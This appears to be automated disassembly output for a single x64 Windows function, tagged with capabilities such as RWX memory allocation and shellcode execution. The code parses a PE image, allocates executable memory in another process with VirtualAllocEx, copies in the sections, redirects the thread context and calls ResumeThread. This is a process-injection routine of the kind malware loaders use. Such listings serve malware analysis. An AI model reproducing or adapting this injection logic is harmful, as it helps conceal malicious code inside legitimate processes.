Function at 0x140172510
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x58], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x140172557
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x14017255a
xor r14d, r14d
call fcn.140001548
mov r15, rax
mov qword [rbp - 0x60], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x140172582
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x14017258b
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x140172594
mov eax, dword [r14]
jmp 0x140172598
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x140173061
call fcn.1401724e0
test eax, eax
jne 0x1401725b3
mov ecx, 0x40
jmp 0x1401725b8
mov ecx, 0x60
call fcn.1401731b0
mov rdi, rax
call fcn.1401724e0
test eax, eax
jne 0x1401725d0
mov ecx, 0x10
jmp 0x1401725d5
mov ecx, 0x18
movsxd rcx, ecx
call fcn.140107390
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rbp - 0x44], ecx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x1403b7008]
xor r8d, r8d
xor r9d, r9d
call fcn.140173210
test eax, eax
je 0x140172f78
test rdi, 0xffffffffffff0000
je 0x14017265b
mov rcx, rdi
mov qword [rbp - 0x70], rcx
lea rcx, [rbp - 0xa0]
call fcn.140005180
mov rcx, qword [rbp - 0x70]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xa0]
call fcn.1400051d0
mov r15, qword [rbp - 0x60]
cmp byte [r15], 0
jne 0x140172ec4
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, qword [rbp - 0x40]
mov rdx, rdi
call fcn.140173640
mov rcx, qword [rbp - 0x40]
mov rbx, qword [rcx]
mov r13, rcx
call fcn.1401724e0
test eax, eax
jne 0x140172ece
mov ecx, 4
movsxd rcx, ecx
mov r13, qword [rcx + r13]
test rbx, rbx
je 0x140172e06
test r13, r13
je 0x140172e06
movzx ecx, byte [r15]
test ecx, ecx
jne 0x140172ed8
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x140172ee2
mov eax, dword [r14 + 0x54]
mov dword [rbp - 0x48], eax
test ecx, ecx
jne 0x140172eec
movzx edx, word [r14 + 6]
movzx r10d, dx
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x140172ef7
mov r11d, dword [r14 + 0x28]
mov dword [rbp - 0x50], r11d
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x70], rcx
mov rdx, rdi
mov qword [rbp - 0x78], rdx
mov dword [rbp - 0x64], r8d
mov r9d, 0x3000
mov dword [rbp - 0x68], r9d
lea rcx, [rbp - 0xa0]
call fcn.140005180
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
mov r8d, dword [rbp - 0x64]
mov r9d, dword [rbp - 0x68]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xa0]
call fcn.1400051d0
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, rbx
mov rdx, rsi
mov r9d, dword [rbp - 0x48]
call fcn.140173500
test eax, eax
je 0x140172d48
mov r15, qword [rbp - 0x60]
cmp byte [r15], 0
jne 0x140172f01
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x4c], 0
jle 0x1401727cf
lea r8, [rbp - 0x58]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, rbx
call fcn.140173500
test eax, eax
je 0x140172c8a
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x4c]
cmp r12d, ecx
mov dword [rbp - 0x4c], ecx
jl 0x14017278e
cmp byte [r15], 0
jne 0x140172f0e
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.140107390
mov rdi, rax
cmp byte [r15], 0
je 0x140172f18
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x140172f23
mov rcx, r13
mov rdx, rdi
call fcn.1401733a0
test eax, eax
je 0x140172bcc
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.14008a2c0
cmp byte [r15], 0
jne 0x140172f3b
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x58]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov rcx, rbx
mov r8, rax
call fcn.140173590
test eax, eax
je 0x140172a50
cmp byte [r15], 0
je 0x140172f45
mov r14d, dword [rbp - 0x50]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x140172f5b
mov rcx, r13
mov rdx, rdi
call fcn.140173480
test eax, eax
je 0x140172992
mov rcx, r13
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0xa0]
call fcn.140005180
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xa0]
call fcn.1400051d0
movsxd rcx, ebx
cmp rbx, rcx
jne 0x140172f73
mov ecx, ebx
mov dword [rbp - 0x44], ecx
jmp 0x140173038
lea rcx, [0x1403ca4f8]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403d6fd0]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403d2540]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403cbf68]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403c42f8]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403c9c30]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403d2660]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403d1110]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403c9de8]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403cfaa8]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403d61b0]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403c3400]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403cfa10]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403c48a0]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
lea rcx, [0x1403d4c88]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403d5a18]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
mov rdi, qword [r12 + 0x30]
jmp 0x14017266f
mov ecx, 8
jmp 0x140172697
mov r8d, dword [r12 + 0x50]
jmp 0x1401726c0
mov eax, dword [r12 + 0x54]
jmp 0x1401726cc
movzx edx, word [r12 + 6]
jmp 0x1401726dc
mov r11d, dword [r12 + 0x28]
jmp 0x1401726f0
lea r14, [r12 + 0x108]
jmp 0x140172785
mov ecx, 0x4d0
jmp 0x1401727de
mov dword [rdi], 0x10002
jmp 0x1401727fa
mov rcx, r13
mov rdx, rdi
call fcn.140173310
test eax, eax
je 0x140172b0e
jmp 0x140172817
lea rdx, [r12 + 0x10]
jmp 0x14017283e
mov r14d, dword [rbp - 0x50]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x140172879
mov rcx, r13
mov rdx, rdi
call fcn.140173420
test eax, eax
je 0x1401728d4
jmp 0x140172896
call fcn.14012ac30
lea rcx, [0x1403d7718]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403d6660]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
int3
mov rcx, qword [rbp - 0x40]
test rcx, 0xffffffffffff0000
je 0x14017304a
call fcn.14012c550
mov eax, dword [rbp - 0x44]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1403ba938]
call fcn.14008cab0
mov rsi, rax
lea rcx, [0x1402f4a70]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.14014a0c0
mov rcx, rdi
mov edx, 2
call fcn.14014ab20
mov rcx, rdi
mov edx, 2
call fcn.14014ab80
lea rcx, [0x1403c38e8]
call fcn.14008cab0
mov rdx, rax
mov rcx, rdi
call fcn.14014a9a0
mov rcx, rdi
call fcn.14014a1e0
mov rdi, rax
call fcn.140001d33
mov rbx, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x1403de9a0]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rbx
mov rax, qword [rbx]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1402dc128]
call fcn.140004510
mov rdi, rax
mov rcx, rdi
call fcn.140085270
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004820
mov rcx, rdi
call fcn.140004a70
int3